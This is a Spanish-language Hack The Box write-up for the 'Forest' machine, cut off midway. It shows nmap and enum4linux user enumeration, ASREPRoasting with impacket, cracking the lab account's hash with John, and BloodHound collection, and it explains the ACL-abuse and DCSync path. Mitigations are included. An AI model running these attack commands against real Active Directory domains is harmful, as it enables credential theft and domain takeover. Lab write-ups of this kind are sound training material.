Forest

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

El reto Forest propuesto en esta máquina de Hack The Box se centra en comprometer un controlador de dominio Windows que forma parte del dominio HTB.LOCAL, el cual tiene un servidor Exchange configurado. A lo largo del desafío, se explora un escenario realista donde se combinan múltiples vectores comunes en entornos corporativos Windows, comenzando por la enumeración de servicios accesibles públicamente como LDAP y WinRM. En este contexto, uno de los aspectos más relevantes es que el servicio LDAP permite "null binds" (conexiones anónimas), lo que posibilita la recolección inicial de usuarios y objetos del dominio sin necesidad de credenciales.

El punto de entrada se obtiene a través de un ataque conocido como ASREPRoasting, gracias a un servicio configurado sin pre autenticación Kerberos. Al identificar una cuenta de servicio vulnerable (svc-alfresco), se extrae el Ticket Granting Ticket cifrado con su hash NTLM y se lo somete a una técnica de fuerza bruta offline. Una vez recuperada la contraseña, se utiliza WinRM para establecer una sesión remota en la máquina, obteniendo así una shell con privilegios limitados. Desde esta posición, el análisis de relaciones en el dominio mediante herramientas como BloodHound revela que la cuenta comprometida es miembro indirecto del grupo “Account Operators”, lo cual le concede ciertas capacidades administrativas sobre otros objetos en el dominio.

Aprovechando estas pertenencias grupales y los permisos heredados en Active Directory, el atacante puede escalar privilegios agregando un nuevo usuario a grupos privilegiados como “Exchange Windows Permissions”. A partir de allí, mediante la modificación de listas de control de acceso (ACLs), se otorgan permisos de sincronización de directorio (DCSync), lo cual permite extraer los hashes de todos los usuarios del dominio. Con un hash de administrador de dominio en mano, el atacante finaliza el compromiso usando herramientas como PsExec, logrando el control total del entorno. Esta cadena de ataque ilustra la criticidad de configuraciones débiles y delegaciones excesivas en ambientes Active Directory.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.161
📌 Parámetros
  • sCV:

    • -sCEjecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sVDetección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -nNo resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --openMuestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -vModo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-07 01:53:34Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-07T01:53:49
|_  start_date: 2025-05-07T01:28:49
|_clock-skew: mean: 2h17m56s, deviation: 4h02m32s, median: -2m05s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2025-05-06T18:53:52-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

En síntesis:

PORT     | STATE | SERVICE      | PROTOCOL / VERSION
53/tcp   | open  | domain       | Simple DNS Plus
88/tcp   | open  | kerberos-sec | Microsoft Windows Kerberos (server time: 2025-05-07 01:53:34Z)
135/tcp  | open  | msrpc        | Microsoft Windows RPC
139/tcp  | open  | netbios-ssn  | Microsoft Windows netbios-ssn
389/tcp  | open  | ldap         | Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  | open  | microsoft-ds | Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  | open  | kpasswd5     | Unknown version
593/tcp  | open  | ncacn_http   | Microsoft Windows RPC over HTTP 1.0
636/tcp  | open  | tcpwrapped   | Unknown service
3268/tcp | open  | ldap         | Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp | open  | tcpwrapped   | Unknown service
5985/tcp | open  | http         | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Primero que nada vamos a agregar los siguientes dominios al /etc/hosts

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# echo "10.10.10.161    htb.local FOREST.htb.local" >> /etc/hosts

Enumeración de usuarios con Enum4linux técnica de RID cycling

📌¿Cómo funciona el ataque de RID cycling?

En los sistemas Windows, cada objeto de seguridad —usuarios, grupos o equipos— se identifica mediante un Security Identifier (SID). Este identificador es único y persistente a lo largo del tiempo, lo que significa que aunque el nombre de usuario cambie, su SID se mantiene. Un SID tiene una estructura jerárquica compuesta por varios campos, incluyendo un identificador del sistema (S-1-5), el identificador del dominio o autoridad, y al final, un valor llamado Relative Identifier (RID), que distingue a cada objeto dentro del dominio.

Por ejemplo, el SID S-1-5-21-1004336348-1177238915-682003330-500 pertenece a la cuenta de administrador por defecto de un dominio, ya que el RID 500 es reservado para dicha cuenta. De manera similar, otros RID comunes incluyen 501 para el invitado (Guest), y a partir de 1000 suelen asignarse a cuentas de usuario creadas manualmente. Esta relación permite una forma indirecta de enumerar usuarios mediante fuerza bruta: al probar una serie de RID consecutivos y observar cómo responde el servidor, es posible descubrir si el RID está asociado a una cuenta existente y, en muchos casos, obtener el nombre de usuario correspondiente.

Enum4linux aprovecha esta lógica mediante una técnica conocida como RID cycling. Lo que hace es conectarse al servicio SMB del servidor objetivo (usualmente en el puerto 445) y realizar múltiples consultas LookupSID para distintos RID secuenciales. Si el servidor no restringe este tipo de peticiones, responderá con el nombre del objeto asociado a cada RID válido. De este modo, enum4linux puede devolver una lista de nombres de usuarios reales del dominio, sin necesidad de credenciales válidas. Esta información es extremadamente valiosa para ataques posteriores como ASREPRoasting, password spraying o autenticación con Kerberos.

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# enum4linux 10.10.10.161                                       
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed May  7 00:42:40 2025

 =========================================( Target Information )=========================================

Target ........... 10.10.10.161
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 =======================================( Users on 10.10.10.161 )=======================================    
 
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Ya tenemos nuestros usuarios del sistema, ahora los volcaremos en una fichero para realizar un ataque ASREPRoasting

ASREPRoasting attack

📌¿Qué es ASREPRoasting?

ASREPRoasting es una técnica de ataque que explota cuentas de Active Directory que tienen la opción de “No requerir autenticación previa” activada en Kerberos.

¿Cómo funciona?

  1. Identificación de cuentas vulnerables:

    • Algunas cuentas en AD, especialmente cuentas de servicio, tienen esta opción activada por diseño o por mala configuración.

  2. Petición del AS-REP:

    • Normalmente, un usuario debe enviar un pre-authentication request cifrado con su contraseña para demostrar su identidad antes de obtener un TGT.

    • Sin embargo, si esa opción está deshabilitada para la cuenta, cualquiera puede solicitar un TGT en su nombre sin conocer su contraseña.

  3. Recibo de un mensaje cifrado:

    • El KDC responde con un mensaje cifrado (AS-REP) que está cifrado con la clave derivada de la contraseña del usuario víctima (específicamente, su hash Kerberos, usualmente RC4 con NTLM).

  4. Ataque offline:

    • El atacante ahora tiene un bloque de datos cifrados con la contraseña del usuario y puede intentar descifrarlo con herramientas como:

      • Hashcat

      • John the Ripper

    • Esto se convierte en un ataque de fuerza bruta offline, ya que el atacante no necesita interactuar más con el dominio: puede probar miles o millones de contraseñas localmente.

⚙️ Herramientas comunes para ASREPRoasting

  • Impacket (GetNPUsers.py)

  • Rubeus

  • Kerbrute

  • CrackMapExec (con soporte para ASREP-roast)

¿Cómo mitigar ASREPRoasting?

  • No habilitar la opción "Does not require Kerberos preauthentication" salvo que sea estrictamente necesario.

  • Utilizar contraseñas robustas para todas las cuentas, especialmente cuentas de servicio.

  • Monitorizar eventos del KDC:

    • En Windows: ID de evento 4768 con error 0x0 (éxito sin preauth).

  • Aplicar segmentación de red para evitar que usuarios sin privilegios consulten el KDC directamente.

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# cat users.txt        
santi
sebastien
andy
lucinda
mark
svc-alfresco
administrator
krbtgt

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -format john -outputfile hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$svc-alfresco@HTB.LOCAL:4675c39c389ca01f5fd3fe0d2fe1cf1e$1c2951ff1a6f5389187614e9e8236447164fc4d34314f953c2d8ae3260abc930ba2d8106ed15664039e7648162bfe721aa526eeffc8d0101e5707da34c669e5a6df51f4c2b98173daa640f3c1fb71525ab0e629b4ddb65e64698d6e4ed1b72fc935010b98365f6d07d44d7836730663549a708ed3595281ac445edfad0093d37a5e93d5170d7cdb4d51f950e962393f9991c896adcf10350ae637834a7e08e93551fdcb46b39e21fc156a1f79b05e13ee2762bea94f38c5d7e529dae31b431d98e954c9ab5affbc101b928eee0dffcb78030c3fa336d95b3d416fe58c1347181d8486810b4ab
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
📌Parámetros

htb.local/ → nombre del dominio. La barra (/) indica que no se proporciona usuario ni contraseña (es anónimo).

-dc-ip 10.10.10.161 → IP del Domain Controller (KDC) al que se enviarán las peticiones Kerberos.

-usersfile users.txt → archivo de texto con una lista de posibles nombres de usuario del dominio.

-format john → el formato de salida del hash Kerberos será compatible con John the Ripper. También puede usarse hashcat.

-outputfile hashes.txt → archivo donde se guardarán los hashes Kerberos (AS-REP) recolectados.

El usuario svc-alfresco tiene la "Pre-Autenticación" deshabilitada y obtenemos su hash AS-REP, ahora lo vamos a crackear con johntheripper

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# john -w=/usr/share/wordlists/rockyou.txt hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$svc-alfresco@HTB.LOCAL)     
1g 0:00:00:04 DONE (2025-05-07 01:10) 0.2114g/s 863797p/s 863797c/s 863797C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Ahora podemos usar el script service_validation.sh para testear a qué servicios podemos conectarnos con estas credenciales

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh FOREST.htb.local svc-alfresco 's3rvice'         
[*] Probando credenciales contra FOREST.htb.local con usuario 'svc-alfresco'...

--- Probando smb ---
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.10.10.161    445    FOREST           [+] htb.local\svc-alfresco:s3rvice 

--- Probando ldap ---
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP        10.10.10.161    389    FOREST           [+] htb.local\svc-alfresco:s3rvice 

--- Probando winrm ---
WINRM       10.10.10.161    5985   FOREST           [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.10.161    5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)                                                                                           

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.10.161    135    FOREST           [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
RPC         10.10.10.161    135    FOREST           [+] htb.local\svc-alfresco:s3rvice 

--- Probando ftp ---

--- Probando ssh ---

Tenemos habilitado LDAP y WinRM que lo usaremos más adelante. Por el momento vamos a recolectar información del dominio. Para estas situaciones lo mejor es usar BloodHound que nos va a ayudar a identificar rutas de escaladas de privilegios que de forma manual no lograríamos encontrar. Si nunca usaste BloodHound te recomiendo que leas el siguiente artículo y luego continúes con el CTF:

Recopilando los datos:

┌──(root㉿kali)-[/home/kali/Documents/HTB/FOREST]
└─# bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -v --zip -c All -dc FOREST.htb.local -ns 10.10.10.161

INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
DEBUG: Authentication: username/password
DEBUG: Resolved collection methods: objectprops, psremote, localadmin, trusts, group, acl, dcom, session, container, rdp
DEBUG: Using DNS to retrieve domain information
DEBUG: Querying domain controller information from DNS
DEBUG: Using domain hint: htb.local
INFO: Found AD domain: htb.local
DEBUG: Found primary DC: FOREST.htb.local
DEBUG: Found Global Catalog server: FOREST.htb.local
DEBUG: Found KDC for enumeration domain: FOREST.htb.local
DEBUG: Using supplied domain controller as KDC
INFO: Getting TGT for user
DEBUG: Trying to connect to KDC at FOREST.htb.local:88
DEBUG: Traceback (most recent call last):
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-512
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-1153
DEBUG: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-1121
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-526
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-527
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-519
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-1103
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-1118
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-1104
INFO: Found 32 users
DEBUG: Finished writing users
DEBUG: Writing groups to file: 20250507014446_groups.json
DEBUG: Querying resolver LDAP for DN CN=Service Accounts,OU=Security Groups,DC=htb,DC=local
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-1119
DEBUG: Don't care about acetype 1
DEBUG: Querying resolver LDAP for DN CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=Group Policy Creator Owners,CN=Users,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=Domain Admins,CN=Users,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=Cert Publishers,CN=Users,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=Enterprise Admins,CN=Users,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=Schema Admins,CN=Users,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=Domain Controllers,CN=Users,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=S-1-1-0,CN=ForeignSecurityPrincipals,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=S-1-5-7,CN=ForeignSecurityPrincipals,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=S-1-5-17,CN=ForeignSecurityPrincipals,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=htb,DC=local
DEBUG: Querying resolver LDAP for DN CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=htb,DC=local
INFO: Found 76 groups
DEBUG: Finished writing groups
DEBUG: Writing GPOs to file: 20250507014446_gpos.json
INFO: Found 2 gpos
DEBUG: Finished writing GPO
DEBUG: Writing OU to file: 20250507014446_ous.json
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
DEBUG: Don't care about acetype 1
INFO: Found 15 ous
DEBUG: Finished writing OU
DEBUG: Writing containers to file: 20250507014446_containers.json
DEBUG: Don't care about acetype 1
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-553
INFO: Found 20 containers
DEBUG: Finished writing containers
DEBUG: Opening file for writing: 20250507014446_domains.json
DEBUG: Don't care about acetype 1
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-498
DEBUG: Querying resolver LDAP for SID S-1-5-21-3072663084-364016917-1341370565-516
INFO: Found 0 trusts
DEBUG: Finished writing domain info
INFO: Starting computer enumeration with 10 workers
DEBUG: Start working
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
DEBUG: Querying computer: FOREST.htb.local
DEBUG: Querying computer: EXCH01.htb.local
DEBUG: Resolved: 10.10.10.161
DEBUG: Trying connecting to computer: FOREST.htb.local
DEBUG: DCE/RPC binding: ncacn_np:10.10.10.161[\PIPE\srvsvc]
DEBUG: Resolved: 10.10.10.7
DEBUG: Trying connecting to computer: EXCH01.htb.local
DEBUG: DCE/RPC binding: ncacn_np:10.10.10.161[\PIPE\samr]
DEBUG: Opening domain handle
DEBUG: Found 544 SID: S-1-5-21-3072663084-364016917-1341370565-500
DEBUG: Found 544 SID: S-1-5-21-3072663084-364016917-1341370565-519
DEBUG: Found 544 SID: S-1-5-21-3072663084-364016917-1341370565-512
DEBUG: DCE/RPC binding: ncacn_np:10.10.10.161[\PIPE\lsarpc]
DEBUG: Resolved SID to name: ADMINISTRATOR@HTB.LOCAL
DEBUG: Resolved SID to name: ENTERPRISE ADMINS@HTB.LOCAL
DEBUG: Resolved SID to name: DOMAIN ADMINS@HTB.LOCAL
DEBUG: DCE/RPC binding: ncacn_np:10.10.10.161[\PIPE\samr]
DEBUG: Opening domain handle
DEBUG: DCE/RPC binding: ncacn_np:10.10.10.161[\PIPE\samr]
DEBUG: Opening domain handle
DEBUG: DCE/RPC binding: ncacn_np:10.10.10.161[\PIPE\samr]
DEBUG: Opening domain handle
DEBUG: Found 580 SID: S-1-5-21-3072663084-364016917-1341370565-1149
DEBUG: DCE/RPC binding: ncacn_np:10.10.10.161[\PIPE\lsarpc]
DEBUG: Resolved SID to name: PRIVILEGED IT ACCOUNTS@HTB.LOCAL
DEBUG: Write worker obtained a None value, exiting
DEBUG: Write worker is done, closing files
INFO: Done in 01M 27S
INFO: Compressing output into 20250507014446_bloodhound.zip
📌Parámetros

-u svc-alfresco → usuario con el que te autenticás en el dominio.

-p 's3rvice' → contraseña del usuario.

-d htb.local → dominio de Active Directory a analizar.

-v → verbose: imprime información detallada durante la ejecución.

--zip → comprime automáticamente todos los .json generados en un .zip para importar en la GUI.

-c All → recolecta todos los tipos de datos disponibles: usuarios, ACLs, sesiones, grupos, delegaciones, etc.

-dc FOREST.htb.local → nombre del controlador de dominio (Domain Controller).

-ns 10.10.10.161 → IP del servidor DNS (generalmente coincide con el DC) para resolución de nombres dentro del dominio.

📌Resultados
  • Dominio detectado: htb.local

  • Controlador de dominio: FOREST.htb.local

  • Usuarios encontrados: 32

  • Grupos encontrados: 76

  • GPOs encontrados: 2

  • Unidades organizativas (OU): 15

  • Containers: 20

  • Computadoras del dominio: 2 (FOREST y EXCH01)

  • Relaciones SID resueltas: nombres de usuarios y grupos como:

    • Administrator@htb.local

    • Domain Admins

    • Enterprise Admins

    • Privileged IT Accounts

La herramienta finalizó generando el archivo: 20250507014446_bloodhound.zip

Este archivo contiene todos los .json con la información recolectada, listo para ser importado en la GUI de BloodHound y comenzar a analizar rutas de ataque y relaciones entre objetos del dominio.

Los resultados del 20250507014446_bloodhound.zip los vamos a ubicar en la GUI de Bloodhound para visualizar los grafos

Identificando vectores de escalada de privilegios

  • Importamos el ZIP en la GUI de BloodHound.

  • Usamos el usuario svc-alfresco como User Owned.

  • Ejecutamos queries como:

    • Shortest Path to Domain Admins

    • Users with DCSync Rights

    • Users with GenericAll on high privilege groups

    • Sessions y AdminTo

    La idea es poder analizar las rutas de ataque en el contexto del AD, ver los grupos a los cuales pertenecemos y ver cuales son sus permisos

Como primer paso vamos a seleccionar la query Shorter Paths > Find Shortest Paths to Domain Admins que nos calculará cuál es la ruta más corta de relaciones de privilegio desde un nodo de inicio (por ejemplo, un usuario comprometido como svc-alfresco) hasta un objetivo crítico: el grupo “Domain Admins”

¿Qué significa “ruta más corta”? BloodHound modela el entorno de Active Directory como un gráfico de nodos (usuarios, grupos, equipos) conectados por relaciones (pertenencia, control, sesiones, permisos, etc.). La ruta más corta es la cadena mínima de relaciones que nos permitirá, paso a paso, escalar privilegios hasta obtener el control de un miembro del grupo Domain Admins

¿Qué tipos de relaciones usa?

Algunos ejemplos de relaciones que BloodHound considera válidas en esta query:

  • MemberOf: un usuario es miembro de un grupo.

  • GenericAll: control total sobre un objeto (ACL abusable).

  • GenericWrite: posibilidad de modificar atributos clave.

  • AddMember: puede agregar usuarios a grupos.

  • ForceChangePassword: puede cambiar la contraseña de otro usuario.

  • HasSession + AdminTo: el usuario tiene sesión en un equipo donde se puede ejecutar código con privilegios.

La query Find Shortest Paths to Domain nos va a permitir saber si el usuario capturado (svc-alfresco) puede llegar a ser Domain Admin y en caso de ser así, como lograr esa escalada.

En la visualización del entorno de Active Directory que resulta de la query Find Shortest Paths to Domain, se observa que el grupo “Exchange Windows Permissions” posee privilegios de tipo WriteDACL sobre el dominio. Esta configuración es parte de la estructura predeterminada de Active Directory al instalar Exchange Server. El permiso WriteDACL permite que los miembros del grupo modifiquen las listas de control de acceso (ACLs) de objetos dentro del dominio. En la práctica, esto les otorga la capacidad de asignar o delegar permisos a otros usuarios sobre objetos del directorio, lo cual puede ser explotado para escalar privilegios si no se controla adecuadamente.

A su vez, se identifica que el grupo “Account Operators” tiene una relación de tipo GenericAll sobre el grupo “Exchange Windows Permissions”. Este tipo de permiso implica control total: los miembros de “Account Operators” pueden modificar, administrar o incluso agregar usuarios al grupo “Exchange Windows Permissions”. Este es un hallazgo significativo, ya que si un atacante logra comprometer un usuario perteneciente a “Account Operators”, podría escalar fácilmente su acceso manipulando las capacidades del grupo subordinado.

Entendiendo todo este contexto podemos considerar al grupo “Account Operators” como un objetivo intermedio valioso. Para chequear si existe una ruta de escalada posible hacia este grupo desde la cuenta del usuario svc-alfresco, vamos a marcarlo como “owned” en BloodHound, y luego hacer clic derecho sobre “Account Operators” y seleccionar la opción “Shortest path to here from owned”. Esta configuración nos permitirá visualizar si existen relaciones aprovechables para alcanzar el control sobre ese grupo desde la posición inicial del atacante.

Bingo! ( ͡° ͜ʖ ͡°)

En este escenario, no es necesario realizar ninguna acción adicional para obtener privilegios iniciales, ya que el usuario comprometido svc-alfresco ya es miembro del grupo “Account Operators” mediante pertenencia anidada. Esto significa que aunque el usuario no esté listado directamente en el grupo, forma parte de él a través de la inclusión en otros grupos intermedios, lo cual le concede implícitamente los privilegios asignados a “Account Operators”.

Explotación basada en abuso de ACLs y réplica de directorio

📌 ¿Qué son las ACLs?

Las listas de control de acceso (ACLs, por Access Control Lists) son estructuras utilizadas en sistemas operativos y servicios —como Windows y Active Directory— para definir quién puede hacer qué sobre un objeto determinado.

En el contexto de Active Directory, una ACL especifica los permisos que diferentes usuarios o grupos tienen sobre un objeto del dominio, como un usuario, grupo, unidad organizativa (OU), controlador de dominio (DC), etc.

¿Cómo está compuesta una ACL?

Una ACL se compone de múltiples entradas llamadas Access Control Entries (ACEs). Cada ACE define tres cosas:

  1. Principal: el usuario o grupo al que se aplica (por ejemplo, svc-alfresco, Domain Admins, etc.).

  2. Permiso: qué acción puede realizar (leer, escribir, modificar, replicar, etc.).

  3. Objeto: a qué recurso o propiedad se refiere (por ejemplo, la cuenta de un usuario, un grupo, o el objeto del dominio).

¿Qué tipo de permisos puede incluir una ACL?

En Active Directory, algunos permisos comunes son:

  • GenericAll: control total sobre el objeto.

  • GenericWrite: capacidad de escribir/modificar propiedades.

  • WriteDACL: capacidad de modificar la propia ACL (muy peligroso).

  • Replicating Directory Changes / All: necesarios para ataques DCSync.

  • ResetPassword: permite cambiar contraseñas de otros usuarios.

¿Por qué son importantes en ciberseguridad?

Las ACLs son vectores comunes de escalada de privilegios. Si un atacante tiene permiso para modificar una ACL, puede:

  • Agregarse a grupos privilegiados.

  • Darse permisos adicionales (como DCSync).

  • Cambiar contraseñas de otros usuarios sin conocer las actuales.

  • Tomar control de cuentas o máquinas sin explotar vulnerabilidades técnicas.

Herramientas como BloodHound identifican relaciones vulnerables a través del análisis de ACLs mal configuradas.

A partir de esta ventaja, es posible planificar una escalada de privilegios basada en el control de listas de acceso (ACL). El grupo “Account Operators” tiene permisos de tipo GenericAll sobre el grupo “Exchange Windows Permissions”, lo que le permite modificar su membresía. Por lo tanto, el primer paso consiste en agregar algún usuario como miembro de “Exchange Windows Permissions”.

Una vez dentro, aprovechando los privilegios WriteDACL que este grupo posee sobre el objeto del dominio, se puede modificar la ACL del dominio para asignar al usuario la capacidad de replicar objetos del directorio. Esta operación habilita el ataque conocido como DCSync, mediante el cual un atacante puede solicitar directamente al controlador de dominio (Domain Controller) los datos de replicación, incluyendo hashes de contraseñas de todas las cuentas, incluso la del administrador.

Con el hash del administrador en nuestras manos, se puede realizar un ataque de tipo Pass-the-Hash, autenticándonos en servicios como WinRM, SMB o PsExec con privilegios máximos, sin necesidad de conocer la contraseña en texto claro.

📌 ¿Qué es un Domain Controller (DC)?

Un Domain Controller (controlador de dominio) es un servidor dentro de un entorno Active Directory cuya función principal es autenticar usuarios, gestionar políticas de seguridad y almacenar de forma centralizada la base de datos de objetos del dominio, como cuentas, grupos, equipos y sus relaciones. En entornos grandes, puede haber múltiples DCs distribuidos, y estos deben estar sincronizados entre sí constantemente para garantizar la coherencia de la información.

Este mecanismo de replicación es precisamente lo que se explota en un ataque DCSync. En este tipo de ataque, el adversario simula ser otro DC autorizado, utilizando privilegios avanzados (como Replicating Directory Changes y Replicating Directory Changes All) para solicitar una réplica completa de los objetos del dominio. La herramienta más común para este ataque es mimikatz, que permite descargar los hashes de todas las cuentas del dominio, incluidos usuarios privilegiados como Administrator.

